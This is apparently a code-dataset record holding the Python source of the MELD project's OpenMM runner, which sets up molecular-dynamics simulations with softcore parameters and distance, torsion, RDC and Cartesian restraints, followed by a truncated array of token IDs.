1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1 ]
laufercenter/meld
meld/system/openmm_runner/runner.py
1
34742
# # Copyright 2015 by Justin MacCallum, Alberto Perez, Ken Dill # All rights reserved # from simtk.openmm.app import AmberPrmtopFile, OBC2, GBn, GBn2, Simulation from simtk.openmm.app import forcefield as ff from simtk.openmm import LangevinIntegrator, Platform, CustomExternalForce from simtk.unit import kelvin, picosecond, femtosecond, angstrom from simtk.unit import Quantity, kilojoule, mole, gram from meld.system.restraints import SelectableRestraint, NonSelectableRestraint, DistanceRestraint, TorsionRestraint from meld.system.restraints import ConfinementRestraint, DistProfileRestraint, TorsProfileRestraint from meld.system.restraints import CartesianRestraint, YZCartesianRestraint, XAxisCOMRestraint from meld.system.restraints import RdcRestraint, HyperbolicDistanceRestraint from . import softcore import cmap import logging from meld.util import log_timing import numpy as np import tempfile logger = logging.getLogger(__name__) try: from meldplugin import MeldForce, RdcForce except ImportError as e: logger.warning('Could not import meldplugin. Are you sure it is installed correctly?\n' 'Attempts to use meld restraints will fail.') try: from onedimcomplugin import OneDimComForce except: logger.warning('Could not import onedimcomplugin. Are you sure it is installed correctly?\n' 'Attempts to use center of mass restraints will fail.') GAS_CONSTANT = 8.314e-3 class OpenMMRunner(object): def __init__(self, system, options, communicator=None): if communicator: self._device_id = communicator.negotiate_device_id() self._rank = communicator.rank else: self._device_id = 0 self._rank = None if system.temperature_scaler is None: raise RuntimeError('system does not have temparture_scaler set') else: self.temperature_scaler = system.temperature_scaler self._parm_string = system.top_string self._always_on_restraints = system.restraints.always_active self._selectable_collections = system.restraints.selectively_active_collections self._options = options self._simulation = None self._integrator = None self._initialized = False self._alpha = 0. self._temperature = None self._sc_lambda_coulomb = 1.0 self._sc_lambda_lj = 1.0 self._force_dict = {} def set_alpha_and_timestep(self, alpha, timestep): self._alpha = alpha self._timestep = timestep self._temperature = self.temperature_scaler(alpha) self._update_softcore() self._initialize_simulation() def _update_softcore(self): alpha = self._alpha a1 = self._options.sc_alpha_min a2 = self._options.sc_alpha_max_coulomb a3 = self._options.sc_alpha_max_lennard_jones if self._options.softcore: self._sc_lambda_coulomb = alpha self._sc_lambda_lj = alpha #logger.info('updating softcore') #if alpha <= a1: # self._sc_lambda_coulomb = 1.0 # self._sc_lambda_lj = 1.0 #elif alpha >= a3: # self._sc_lambda_coulomb = 0.0 # self._sc_lambda_lj = 0.0 #elif alpha < a2: # self._sc_lambda_lj = 1.0 # self._sc_lambda_coulomb = 1.0 - (alpha - a1) / (a2 - a1) #else: # self._sc_lambda_coulomb = 0.0 # self._sc_lambda_lj = 1.0 - (alpha - a2) / (a3 - a2) @log_timing(logger) def minimize_then_run(self, state): return self._run(state, minimize=True) @log_timing(logger) def run(self, state): return self._run(state, minimize=False) def get_energy(self, state): # set the coordinates coordinates = Quantity(state.positions, angstrom) self._simulation.context.setPositions(coordinates) # get the energy snapshot = self._simulation.context.getState(getPositions=True, getVelocities=True, getEnergy=True) e_potential = snapshot.getPotentialEnergy() e_potential = e_potential.value_in_unit(kilojoule / mole) / GAS_CONSTANT / self._temperature return e_potential def _initialize_simulation(self): if self._initialized: self._integrator.setTemperature(self._temperature) if self._options.softcore: print self._sc_lambda_lj self._simulation.context.setParameter('qq_lambda', self._sc_lambda_coulomb) self._simulation.context.setParameter('lj_lambda', self._sc_lambda_lj) self._simulation.context.setParameter('sc_lambda', self._sc_lambda_lj) logger.debug('set sc %d %f %f %f', self._rank, self._sc_lambda_coulomb, self._sc_lambda_lj, self._sc_lambda_lj) meld_rests = _update_always_active_restraints(self._always_on_restraints, self._alpha, self._timestep, self._force_dict) _update_selectively_active_restraints(self._selectable_collections, meld_rests, self._alpha, self._timestep, self._force_dict) for force in self._force_dict.values(): if force: force.updateParametersInContext(self._simulation.context) else: self._initialized = True # we need to set the whole thing from scratch prmtop = _parm_top_from_string(self._parm_string) sys = _create_openmm_system(prmtop, self._options.cutoff, self._options.use_big_timestep, self._options.use_bigger_timestep, self._options.implicit_solvent_model, self._options.remove_com) if self._options.softcore: sys = softcore.add_soft_core(sys) if self._options.use_amap: adder = cmap.CMAPAdder(self._parm_string, self._options.amap_alpha_bias, self._options.amap_beta_bias, self._options.ccap, self._options.ncap) adder.add_to_openmm(sys) meld_rests = _add_always_active_restraints(sys, self._always_on_restraints, self._alpha, self._timestep, self._force_dict) _add_selectively_active_restraints(sys, self._selectable_collections, meld_rests, self._alpha, self._timestep, self._force_dict) self._integrator = _create_integrator(self._temperature, self._options.use_big_timestep,self._options.use_bigger_timestep) platform = Platform.getPlatformByName('CUDA') properties = {'CudaDeviceIndex': str(self._device_id)} self._simulation = _create_openmm_simulation(prmtop.topology, sys, self._integrator, platform, properties) if self._options.softcore: self._simulation.context.setParameter('qq_lambda', self._sc_lambda_coulomb) self._simulation.context.setParameter('lj_lambda', self._sc_lambda_lj) self._simulation.context.setParameter('sc_lambda', self._sc_lambda_lj) logger.debug('set sc %d %f %f %f', self._rank, self._sc_lambda_coulomb, self._sc_lambda_lj, self._sc_lambda_lj) def _run_min_mc(self, state): if self._options.min_mc is not None: logger.info('Running MCMC before minimization.') logger.info('Starting energy {:.3f}'.format(self.get_energy(state))) state.energy = self.get_energy(state) state = self._options.min_mc.update(state, self) logger.info('Ending energy {:.3f}'.format(self.get_energy(state))) if self._options.remove_com: state.positions = state.positions - np.mean(state.positions, axis=0) return state def _run_mc(self, state): if self._options.run_mc is not None: logger.info('Running MCMC.') logger.debug('Starting energy {:.3f}'.format(self.get_energy(state))) state.energy = self.get_energy(state) state = self._options.run_mc.update(state, self) logger.debug('Ending energy {:.3f}'.format(self.get_energy(state))) if self._options.remove_com: state.positions = state.positions - np.mean(state.positions, axis=0) return state def _run(self, state, minimize): assert abs(state.alpha - self._alpha) < 1e-6 # run Monte Carlo if minimize: state = self._run_min_mc(state) else: state = self._run_mc(state) # add units to coordinates and velocities (we store in Angstrom, openmm # uses nm coordinates = Quantity(state.positions, angstrom) velocities = Quantity(state.velocities, angstrom / picosecond) # set the positions self._simulation.context.setPositions(coordinates) # run energy minimization if minimize: self._simulation.minimizeEnergy(maxIterations=self._options.minimize_steps) # set the velocities self._simulation.context.setVelocities(velocities) # run timesteps self._simulation.step(self._options.timesteps) # extract coords, vels, energy and strip units snapshot = self._simulation.context.getState(getPositions=True, getVelocities=True, getEnergy=True) coordinates = snapshot.getPositions(asNumpy=True).value_in_unit(angstrom) velocities = snapshot.getVelocities(asNumpy=True).value_in_unit(angstrom / picosecond) _check_for_nan(coordinates, velocities, self._rank) e_potential = snapshot.getPotentialEnergy().value_in_unit(kilojoule / mole) / GAS_CONSTANT / self._temperature # store in state state.positions = coordinates state.velocities = velocities state.energy = e_potential return state def _check_for_nan(coordinates, velocities, rank): if np.isnan(coordinates).any(): raise RuntimeError('Coordinates for rank {} contain NaN', rank) if np.isnan(velocities).any(): raise RuntimeError('Velocities for rank {} contain NaN', rank) def _create_openmm_simulation(topology, system, integrator, platform, properties): return Simulation(topology, system, integrator, platform, properties) def _parm_top_from_string(parm_string): with tempfile.NamedTemporaryFile() as parm_file: parm_file.write(parm_string) parm_file.flush() prm_top = AmberPrmtopFile(parm_file.name) return prm_top def _create_openmm_system(parm_object, cutoff, use_big_timestep, use_bigger_timestep, implicit_solvent, remove_com): if cutoff is None: cutoff_type = ff.NoCutoff cutoff_dist = 999. else: cutoff_type = ff.CutoffNonPeriodic cutoff_dist = cutoff if use_big_timestep: constraint_type = ff.AllBonds hydrogen_mass = 3.0 * gram / mole elif use_bigger_timestep: constraint_type = ff.AllBonds hydrogen_mass = 4.0 * gram / mole else: constraint_type = ff.HBonds hydrogen_mass = None if implicit_solvent == 'obc': implicit_type = OBC2 elif implicit_solvent == 'gbNeck': implicit_type = GBn elif implicit_solvent == 'gbNeck2': implicit_type = GBn2 elif implicit_solvent == 'vacuum': implicit_type = None elif implicit_solvent is None: implicit_type = None else: RuntimeError('Should never get here') return parm_object.createSystem(nonbondedMethod=cutoff_type, nonbondedCutoff=cutoff_dist, constraints=constraint_type, implicitSolvent=implicit_type, removeCMMotion=remove_com, hydrogenMass=hydrogen_mass) def _create_integrator(temperature, use_big_timestep, use_bigger_timestep): if use_big_timestep: timestep = 3.5 * femtosecond elif use_bigger_timestep: timestep = 4.5 * femtosecond else: timestep = 2.0 * femtosecond return LangevinIntegrator(temperature * kelvin, 1.0 / picosecond, timestep) def _split_always_active_restraints(restraint_list): selectable_restraints = [] nonselectable_restraints = [] for rest in restraint_list: if isinstance(rest, SelectableRestraint): selectable_restraints.append(rest) elif isinstance(rest, NonSelectableRestraint): nonselectable_restraints.append(rest) else: raise RuntimeError('Unknown type of restraint {}'.format(rest)) return selectable_restraints, nonselectable_restraints def _add_always_active_restraints(system, restraint_list, alpha, timestep, force_dict): selectable_restraints, nonselectable_restraints = _split_always_active_restraints(restraint_list) nonselectable_restraints = _add_rdc_restraints(system, nonselectable_restraints, alpha, timestep, force_dict) nonselectable_restraints = _add_confinement_restraints(system, nonselectable_restraints, alpha, timestep, force_dict) nonselectable_restraints = _add_cartesian_restraints(system, nonselectable_restraints, alpha, timestep, force_dict) nonselectable_restraints = _add_yzcartesian_restraints(system, nonselectable_restraints, alpha, timestep, force_dict) nonselectable_restraints = _add_xcom_restraints(system, nonselectable_restraints, alpha, timestep, force_dict) if nonselectable_restraints: raise NotImplementedError('Non-meld restraints are not implemented yet') return selectable_restraints def _update_always_active_restraints(restraint_list, alpha, timestep, force_dict): selectable_restraints, nonselectable_restraints = _split_always_active_restraints(restraint_list) nonselectable_restraints = _update_rdc_restraints(nonselectable_restraints, alpha, timestep, force_dict) nonselectable_restraints = _update_confinement_restraints(nonselectable_restraints, alpha, timestep, force_dict) nonselectable_restraints = _update_cartesian_restraints(nonselectable_restraints, alpha, timestep, force_dict) nonselectable_restraints = _update_yzcartesian_restraints(nonselectable_restraints, alpha, timestep, force_dict) nonselectable_restraints = _update_xcom_restraints(nonselectable_restraints, alpha, timestep, force_dict) if nonselectable_restraints: raise NotImplementedError('Non-meld restraints are not implemented yet') return selectable_restraints def _add_selectively_active_restraints(system, collections, always_on, alpha, timestep, force_dict): if not (collections or always_on): # we don't need to do anything force_dict['meld'] = None return # otherwise we need a MeldForce meld_force = MeldForce() if always_on: group_list = [] for rest in always_on: rest_index = _add_meld_restraint(rest, meld_force, alpha, timestep) group_index = meld_force.addGroup([rest_index], 1) group_list.append(group_index) meld_force.addCollection(group_list, len(group_list)) for coll in collections: group_indices = [] for group in coll.groups: restraint_indices = [] for rest in group.restraints: rest_index = _add_meld_restraint(rest, meld_force, alpha, timestep) restraint_indices.append(rest_index) group_index = meld_force.addGroup(restraint_indices, group.num_active) group_indices.append(group_index) meld_force.addCollection(group_indices, coll.num_active) system.addForce(meld_force) force_dict['meld'] = meld_force def _update_selectively_active_restraints(collections, always_on, alpha, timestep, force_dict): meld_force = force_dict['meld'] dist_index = 0 hyper_index = 0 tors_index = 0 dist_prof_index = 0 tors_prof_index = 0 if always_on: for rest in always_on: dist_index, hyper_index, tors_index, dist_prof_index, tors_prof_index = _update_meld_restraint(rest, meld_force, alpha, timestep, dist_index, hyper_index, tors_index, dist_prof_index, tors_prof_index) for coll in collections: for group in coll.groups: for rest in group.restraints: dist_index, hyper_index, tors_index, dist_prof_index, tors_prof_index = _update_meld_restraint(rest, meld_force, alpha, timestep, dist_index, hyper_index, tors_index, dist_prof_index, tors_prof_index) def _add_confinement_restraints(system, restraint_list, alpha, timestep, force_dict): # split restraints into confinement and others confinement_restraints = [r for r in restraint_list if isinstance(r, ConfinementRestraint)] nonconfinement_restraints = [r for r in restraint_list if not isinstance(r, ConfinementRestraint)] if confinement_restraints: # create the confinement force confinement_force = CustomExternalForce( 'step(r - radius) * force_const * (radius - r)^2; r=sqrt(x*x + y*y + z*z)') confinement_force.addPerParticleParameter('radius') confinement_force.addPerParticleParameter('force_const') # add the atoms for r in confinement_restraints: weight = r.force_const * r.scaler(alpha) * r.ramp(timestep) confinement_force.addParticle(r.atom_index - 1, [r.radius, weight]) system.addForce(confinement_force) force_dict['confine'] = confinement_force else: force_dict['confine'] = None return nonconfinement_restraints def _update_confinement_restraints(restraint_list, alpha, timestep, force_dict): # split restraints into confinement and others confinement_restraints = [r for r in restraint_list if isinstance(r, ConfinementRestraint)] other_restraints = [r for r in restraint_list if not isinstance(r, ConfinementRestraint)] if confinement_restraints: confinement_force = force_dict['confine'] for index, r in enumerate(confinement_restraints): weight = r.force_const * r.scaler(alpha) * r.ramp(timestep) confinement_force.setParticleParameters(index, r.atom_index - 1, [r.radius, weight]) return other_restraints def _add_cartesian_restraints(system, restraint_list, alpha, timestep, force_dict): # split restraints into confinement and others cartesian_restraints = [r for r in restraint_list if isinstance(r, CartesianRestraint)] noncartesian_restraints = [r for r in restraint_list if not isinstance(r, CartesianRestraint)] if cartesian_restraints: # create the confinement force cartesian_force = CustomExternalForce( '0.5 * cart_force_const * r_eff^2; r_eff = max(0.0, r - cart_delta);' 'r = sqrt(dx*dx + dy*dy + dz*dz);' 'dx = x - cart_x;' 'dy = y - cart_y;' 'dz = z - cart_z;') cartesian_force.addPerParticleParameter('cart_x') cartesian_force.addPerParticleParameter('cart_y') cartesian_force.addPerParticleParameter('cart_z') cartesian_force.addPerParticleParameter('cart_delta') cartesian_force.addPerParticleParameter('cart_force_const') # add the atoms for r in cartesian_restraints: weight = r.force_const * r.scaler(alpha) * r.ramp(timestep) cartesian_force.addParticle(r.atom_index - 1, [r.x, r.y, r.z, r.delta, weight]) system.addForce(cartesian_force) force_dict['cartesian'] = cartesian_force else: force_dict['cartesian'] = None return noncartesian_restraints def _update_cartesian_restraints(restraint_list, alpha, timestep, force_dict): # split restraints into confinement and others cartesian_restraints = [r for r in restraint_list if isinstance(r, CartesianRestraint)] other_restraints = [r for r in restraint_list if not isinstance(r, CartesianRestraint)] if cartesian_restraints: cartesian_force = force_dict['cartesian'] for index, r in enumerate(cartesian_restraints): weight = r.force_const * r.scaler(alpha) * r.ramp(timestep) cartesian_force.setParticleParameters(index, r.atom_index - 1, [r.x, r.y, r.z, r.delta, weight]) return other_restraints def _add_yzcartesian_restraints(system, restraint_list, alpha, timestep, force_dict): # split restraints into confinement and others cartesian_restraints = [r for r in restraint_list if isinstance(r, YZCartesianRestraint)] noncartesian_restraints = [r for r in restraint_list if not isinstance(r, YZCartesianRestraint)] if cartesian_restraints: # create the confinement force cartesian_force = CustomExternalForce( '0.5 * cart_force_const * r_eff^2; r_eff = max(0.0, r - cart_delta);' 'r = sqrt(dy*dy + dz*dz);' 'dy = y - cart_y;' 'dz = z - cart_z;') cartesian_force.addPerParticleParameter('cart_y') cartesian_force.addPerParticleParameter('cart_z') cartesian_force.addPerParticleParameter('cart_delta') cartesian_force.addPerParticleParameter('cart_force_const') # add the atoms for r in cartesian_restraints: weight = r.force_const * r.scaler(alpha) * r.ramp(timestep) cartesian_force.addParticle(r.atom_index - 1, [r.y, r.z, r.delta, weight]) system.addForce(cartesian_force) force_dict['yzcartesian'] = cartesian_force else: force_dict['yzcartesian'] = None return noncartesian_restraints def _update_yzcartesian_restraints(restraint_list, alpha, timestep, force_dict): # split restraints into confinement and others cartesian_restraints = [r for r in restraint_list if isinstance(r, YZCartesianRestraint)] other_restraints = [r for r in restraint_list if not isinstance(r, YZCartesianRestraint)] if cartesian_restraints: cartesian_force = force_dict['yzcartesian'] for index, r in enumerate(cartesian_restraints): weight = r.force_const * r.scaler(alpha) * r.ramp(timestep) cartesian_force.setParticleParameters(index, r.atom_index - 1, [r.y, r.z, r.delta, weight]) return other_restraints def _add_xcom_restraints(system, restraint_list, alpha, timestep, force_dict): # split restraints into confinement and others my_restraints = [r for r in restraint_list if isinstance(r, XAxisCOMRestraint)] other_restraints = [r for r in restraint_list if not isinstance(r, XAxisCOMRestraint)] if len(my_restraints) == 1: rest = my_restraints[0] weight = rest.force_const * rest.scaler(alpha) * rest.ramp(timestep) # convert indices from 1-based to 0-based rest_indices1 = [r - 1 for r in rest.indices1] rest_indices2 = [r - 1 for r in rest.indices2] force = OneDimComForce(rest_indices1, rest_indices2, rest.weights1, rest.weights2, rest.force_const, rest.positioner(alpha)) system.addForce(force) force_dict['xcom'] = force elif len(my_restraints) == 0: force_dict['xcom'] = None else: raise RuntimeError('Cannot have more than one XAxisCOMRestraint') return other_restraints def _update_xcom_restraints(restraint_list, alpha, timestep, force_dict): # split restraints into confinement and others my_restraints = [r for r in restraint_list if isinstance(r, XAxisCOMRestraint)] other_restraints = [r for r in restraint_list if not isinstance(r, XAxisCOMRestraint)] if my_restraints: force = force_dict['xcom'] rest = my_restraints[0] weight = rest.force_const * rest.scaler(alpha) * rest.ramp(timestep) position = rest.positioner(alpha) force.setForceConst(weight) force.setR0(position) return other_restraints def _add_rdc_restraints(system, restraint_list, alpha, timestep, force_dict): # split restraints into rdc and non-rdc rdc_restraint_list = [r for r in restraint_list if isinstance(r, RdcRestraint)] nonrdc_restraint_list = [r for r in restraint_list if not isinstance(r, RdcRestraint)] # if we have any rdc restraints if rdc_restraint_list: rdc_force = RdcForce() # make a dictionary based on the experiment index expt_dict = DefaultOrderedDict(list) for r in rdc_restraint_list: #expt_dict.get(r.expt_index, []).append(r) expt_dict[r.expt_index].append(r) # loop over the experiments and add the restraints to openmm for experiment in expt_dict: rests = expt_dict[experiment] rest_ids = [] for r in rests: scale = r.scaler(alpha) * r.ramp(timestep) r_id = rdc_force.addRdcRestraint( r.atom_index_1 - 1, r.atom_index_2 - 1, r.kappa, r.d_obs, r.tolerance, r.force_const * scale, r.weight) rest_ids.append(r_id) rdc_force.addExperiment(rest_ids) system.addForce(rdc_force) force_dict['rdc'] = rdc_force else: force_dict['rdc'] = None return nonrdc_restraint_list def _update_rdc_restraints(restraint_list, alpha, timestep, force_dict): # split restraints into rdc and non-rdc rdc_restraint_list = [r for r in restraint_list if isinstance(r, RdcRestraint)] nonrdc_restraint_list = [r for r in restraint_list if not isinstance(r, RdcRestraint)] # if we have any rdc restraints if rdc_restraint_list: rdc_force = force_dict['rdc'] # make a dictionary based on the experiment index expt_dict = OrderedDict() for r in rdc_restraint_list: expt_dict.get(r.expt_index, []).append(r) # loop over the experiments and update the restraints index = 0 for experiment in expt_dict: rests = expt_dict[experiment] for r in rests: scale = r.scaler(alpha) * r.ramp(timestep) rdc_force.updateRdcRestraint( index, r.atom_index_1 - 1, r.atom_index_2 - 1, r.kappa, r.d_obs, r.tolerance, r.force_const * scale, r.weight) index = index + 1 return nonrdc_restraint_list def _add_meld_restraint(rest, meld_force, alpha, timestep): scale = rest.scaler(alpha) * rest.ramp(timestep) if isinstance(rest, DistanceRestraint): rest_index = meld_force.addDistanceRestraint(rest.atom_index_1 - 1, rest.atom_index_2 - 1, rest.r1, rest.r2, rest.r3, rest.r4, rest.k * scale) elif isinstance(rest, HyperbolicDistanceRestraint): rest_index = meld_force.addHyperbolicDistanceRestraint(rest.atom_index_1 - 1, rest.atom_index_2 - 1, rest.r1, rest.r2, rest.r3, rest.r4, rest.k * scale, rest.asymptote * scale) elif isinstance(rest, TorsionRestraint): rest_index = meld_force.addTorsionRestraint(rest.atom_index_1 - 1, rest.atom_index_2 - 1, rest.atom_index_3 - 1, rest.atom_index_4 - 1, rest.phi, rest.delta_phi, rest.k * scale) elif isinstance(rest, DistProfileRestraint): rest_index = meld_force.addDistProfileRestraint(rest.atom_index_1 - 1, rest.atom_index_2 - 1, rest.r_min, rest.r_max, rest.n_bins, rest.spline_params[:, 0], rest.spline_params[:, 1], rest.spline_params[:, 2], rest.spline_params[:, 3], rest.scale_factor * scale) elif isinstance(rest, TorsProfileRestraint): rest_index = meld_force.addTorsProfileRestraint(rest.atom_index_1 - 1, rest.atom_index_2 - 1, rest.atom_index_3 - 1, rest.atom_index_4 - 1, rest.atom_index_5 - 1, rest.atom_index_6 - 1, rest.atom_index_7 - 1, rest.atom_index_8 - 1, rest.n_bins, rest.spline_params[:, 0], rest.spline_params[:, 1], rest.spline_params[:, 2], rest.spline_params[:, 3], rest.spline_params[:, 4], rest.spline_params[:, 5], rest.spline_params[:, 6], rest.spline_params[:, 7], rest.spline_params[:, 8], rest.spline_params[:, 9], rest.spline_params[:, 10], rest.spline_params[:, 11], rest.spline_params[:, 12], rest.spline_params[:, 13], rest.spline_params[:, 14], rest.spline_params[:, 15], rest.scale_factor * scale) else: raise RuntimeError('Do not know how to handle restraint {}'.format(rest)) return rest_index def _update_meld_restraint(rest, meld_force, alpha, timestep, dist_index, hyper_index, tors_index, dist_prof_index, tors_prof_index): scale = rest.scaler(alpha) * rest.ramp(timestep) if isinstance(rest, DistanceRestraint): meld_force.modifyDistanceRestraint(dist_index, rest.atom_index_1 - 1, rest.atom_index_2 - 1, rest.r1, rest.r2, rest.r3, rest.r4, rest.k * scale) dist_index += 1 elif isinstance(rest, HyperbolicDistanceRestraint): meld_force.modifyHyperbolicDistanceRestraint(hyper_index, rest.atom_index_1 - 1, rest.atom_index_2 - 1, rest.r1, rest.r2, rest.r3, rest.r4, rest.k * scale, rest.asymptote * scale) hyper_index +=1 elif isinstance(rest, TorsionRestraint): meld_force.modifyTorsionRestraint(tors_index, rest.atom_index_1 - 1, rest.atom_index_2 - 1, rest.atom_index_3 - 1, rest.atom_index_4 - 1, rest.phi, rest.delta_phi, rest.k * scale) tors_index += 1 elif isinstance(rest, DistProfileRestraint): meld_force.modifyDistProfileRestraint(dist_prof_index, rest.atom_index_1 - 1, rest.atom_index_2 - 1, rest.r_min, rest.r_max, rest.n_bins, rest.spline_params[:, 0], rest.spline_params[:, 1], rest.spline_params[:, 2], rest.spline_params[:, 3], rest.scale_factor * scale) dist_prof_index += 1 elif isinstance(rest, TorsProfileRestraint): meld_force.modifyTorsProfileRestraint(tors_prof_index, rest.atom_index_1 - 1, rest.atom_index_2 - 1, rest.atom_index_3 - 1, rest.atom_index_4 - 1, rest.atom_index_5 - 1, rest.atom_index_6 - 1, rest.atom_index_7 - 1, rest.atom_index_8 - 1, rest.n_bins, rest.spline_params[:, 0], rest.spline_params[:, 1], rest.spline_params[:, 2], rest.spline_params[:, 3], rest.spline_params[:, 4], rest.spline_params[:, 5], rest.spline_params[:, 6], rest.spline_params[:, 7], rest.spline_params[:, 8], rest.spline_params[:, 9], rest.spline_params[:, 10], rest.spline_params[:, 11], rest.spline_params[:, 12], rest.spline_params[:, 13], rest.spline_params[:, 14], rest.spline_params[:, 15], rest.scale_factor * scale) tors_prof_index += 1 else: raise RuntimeError('Do not know how to handle restraint {}'.format(rest)) return dist_index, hyper_index, tors_index, dist_prof_index, tors_prof_index # # ordered, default dictionary to hold list of restraints from collections import OrderedDict, Callable class DefaultOrderedDict(OrderedDict): def __init__(self, default_factory=None, *a, **kw): if (default_factory is not None and not isinstance(default_factory, Callable)): raise TypeError('first argument must be callable') OrderedDict.__init__(self, *a, **kw) self.default_factory = default_factory def __getitem__(self, key): try: return OrderedDict.__getitem__(self, key) except KeyError: return self.__missing__(key) def __missing__(self, key): if self.default_factory is None: raise KeyError(key) self[key] = value = self.default_factory() return value def __reduce__(self): if self.default_factory is None: args = tuple() else: args = self.default_factory, return type(self), args, None, None, self.items() def copy(self): return self.__copy__() def __copy__(self): return type(self)(self.default_factory, self) def __deepcopy__(self, memo): import copy return type(self)(self.default_factory, copy.deepcopy(self.items())) def __repr__(self): return 'OrderedDefaultDict(%s, %s)' % (self.default_factory, OrderedDict.__repr__(self))
mit
[ 3, 199, 3, 1898, 6900, 701, 13870, 262, 10444, 2176, 453, 12, 4580, 605, 475, 11379, 25409, 12, 1804, 287, 577, 778, 199, 3, 2900, 4481, 4644, 199, 3, 199, 199, 504, 4389, 2663, 14, 1490, 596, 14, 571, 492, 437, 976, 9779, 2037, 411, 1173, 12, 593, 6265, 18, 12, 18553, 78, 12, 18553, 78, 18, 12, 10751, 5332, 199, 504, 4389, 2663, 14, 1490, 596, 14, 571, 492, 3542, 698, 465, 16328, 199, 504, 4389, 2663, 14, 1490, 596, 492, 491, 618, 11908, 8309, 2587, 707, 12, 16078, 12, 8388, 11389, 13606, 199, 504, 4389, 2663, 14, 3248, 492, 1022, 352, 11908, 12, 6682, 331, 4375, 12, 1964, 77, 475, 4375, 12, 14550, 31672, 199, 504, 4389, 2663, 14, 3248, 492, 31951, 12, 1022, 11737, 743, 443, 12, 1303, 274, 12, 1999, 77, 199, 504, 562, 1447, 14, 2253, 14, 3911, 3156, 83, 492, 9496, 461, 13726, 3156, 12, 10172, 5446, 461, 13726, 3156, 12, 21892, 13726, 3156, 12, 29659, 438, 13726, 3156, 199, 504, 562, 1447, 14, 2253, 14, 3911, 3156, 83, 492, 32539, 1132, 434, 13726, 3156, 12, 10113, 5736, 13726, 3156, 12, 377, 1384, 5736, 13726, 3156, 199, 504, 562, 1447, 14, 2253, 14, 3911, 3156, 83, 492, 14243, 19157, 13726, 3156, 12, 1488, 58, 16034, 19157, 13726, 3156, 12, 1323, 11220, 11265, 13726, 3156, 199, 504, 562, 1447, 14, 2253, 14, 3911, 3156, 83, 492, 820, 3833, 13726, 3156, 12, 21344, 9670, 10076, 13726, 3156, 199, 504, 1275, 492, 11620, 1018, 199, 646, 14920, 199, 646, 2050, 199, 504, 562, 1447, 14, 1974, 492, 943, 63, 14639, 199, 646, 2680, 465, 980, 199, 646, 5549, 199, 199, 2921, 275, 2050, 14, 5572, 3460, 354, 3368, 199, 199, 893, 26, 272, 687, 562, 1447, 2718, 492, 603, 457, 13606, 12, 820, 3833, 13606, 199, 2590, 3545, 465, 325, 26, 272, 2512, 14, 3764, 360, 6531, 440, 492, 562, 1447, 2718, 14, 23889, 1265, 3238, 652, 365, 4903, 6657, 8995, 78, 7, 673, 283, 15322, 1086, 370, 675, 562, 1447, 4618, 3156, 83, 911, 2449, 2659, 199, 199, 893, 26, 272, 687, 1373, 3572, 863, 76, 1632, 492, 7309, 19156, 4373, 13606, 199, 2590, 26, 272, 2512, 14, 3764, 360, 6531, 440, 492, 1373, 3572, 863, 76, 1632, 14, 23889, 1265, 3238, 652, 365, 4903, 6657, 8995, 78, 7, 673, 283, 15322, 1086, 370, 675, 8126, 402, 12250, 4618, 3156, 83, 911, 2449, 2659, 421, 199, 39, 1179, 63, 25825, 275, 1695, 14, 8988, 69, 13, 19, 421, 199, 533, 3232, 3218, 7446, 8, 785, 304, 272, 347, 636, 826, 721, 277, 12, 2656, 12, 1511, 12, 13882, 707, 29, 403, 304, 267, 340, 13882, 707, 26, 288, 291, 423, 1782, 63, 344, 275, 13882, 707, 14, 21961, 323, 63, 1782, 63, 344, 342, 288, 291, 423, 4648, 275, 13882, 707, 14, 4648, 267, 587, 26, 288, 291, 423, 1782, 63, 344, 275, 378, 288, 291, 423, 4648, 275, 488, 398, 340, 2656, 14, 12954, 63, 11494, 365, 488, 26, 288, 746, 6064, 360, 2253, 1630, 440, 1172, 2388, 580, 608, 63, 11494, 663, 358, 267, 587, 26, 288, 291, 14, 12954, 63, 11494, 275, 2656, 14, 12954, 63, 11494, 267, 291, 423, 22176, 63, 875, 275, 2656, 14, 2119, 63, 875, 267, 291, 423, 9223, 63, 265, 63, 3911, 3156, 83, 275, 2656, 14, 3911, 3156, 83, 14, 9223, 63, 2682, 267, 291, 423, 18837, 63, 7882, 275, 2656, 14, 3911, 3156, 83, 14, 261, 10251, 9462, 63, 2682, 63, 7882, 267, 291, 423, 1419, 275, 1511, 267, 291, 423, 22930, 275, 488, 267, 291, 423, 25323, 707, 275, 488, 267, 291, 423, 12486, 275, 756, 267, 291, 423, 4468, 275, 378, 14, 267, 291, 423, 12954, 275, 488, 267, 291, 423, 551, 63, 2734, 63, 331, 13957, 887, 275, 413, 14, 16, 267, 291, 423, 551, 63, 2734, 63, 31025, 275, 413, 14, 16, 267, 291, 423, 3990, 63, 807, 275, 1052, 339, 347, 663, 63, 4468, 63, 460, 63, 521, 2926, 8, 277, 12, 5131, 12, 900, 2926, 304, 267, 291, 423, 4468, 275, 5131, 267, 291, 423, 521, 2926, 275, 900, 2926, 267, 291, 423, 12954, 275, 291, 14, 12954, 63, 11494, 8, 4468, 9, 267, 291, 423, 873, 63, 4617, 1018, 342, 267, 291, 423, 8489, 63, 22930, 342, 339, 347, 485, 873, 63, 4617, 1018, 8, 277, 304, 267, 5131, 275, 291, 423, 4468, 267, 282, 17, 275, 291, 423, 1419, 14, 551, 63, 4468, 63, 827, 267, 282, 18, 275, 291, 423, 1419, 14, 551, 63, 4468, 63, 988, 63, 331, 13957, 887, 267, 282, 19, 275, 291, 423, 1419, 14, 551, 63, 4468, 63, 988, 63, 552, 78, 1005, 63, 74, 4548, 398, 340, 291, 423, 1419, 14, 4617, 1018, 26, 288, 291, 423, 551, 63, 2734, 63, 331, 13957, 887, 275, 5131, 288, 291, 423, 551, 63, 2734, 63, 31025, 275, 5131, 288, 327, 2921, 14, 815, 360, 28669, 11620, 1018, 358, 288, 327, 692, 5131, 2695, 282, 17, 26, 288, 327, 259, 291, 423, 551, 63, 2734, 63, 331, 13957, 887, 275, 413, 14, 16, 288, 327, 259, 291, 423, 551, 63, 2734, 63, 31025, 275, 413, 14, 16, 288, 327, 4164, 5131, 2356, 282, 19, 26, 288, 327, 259, 291, 423, 551, 63, 2734, 63, 331, 13957, 887, 275, 378, 14, 16, 288, 327, 259, 291, 423, 551, 63, 2734, 63, 31025, 275, 378, 14, 16, 288, 327, 4164, 5131, 665, 282, 18, 26, 288, 327, 259, 291, 423, 551, 63, 2734, 63, 31025, 275, 413, 14, 16, 288, 327, 259, 291, 423, 551, 63, 2734, 63, 331, 13957, 887, 275, 413, 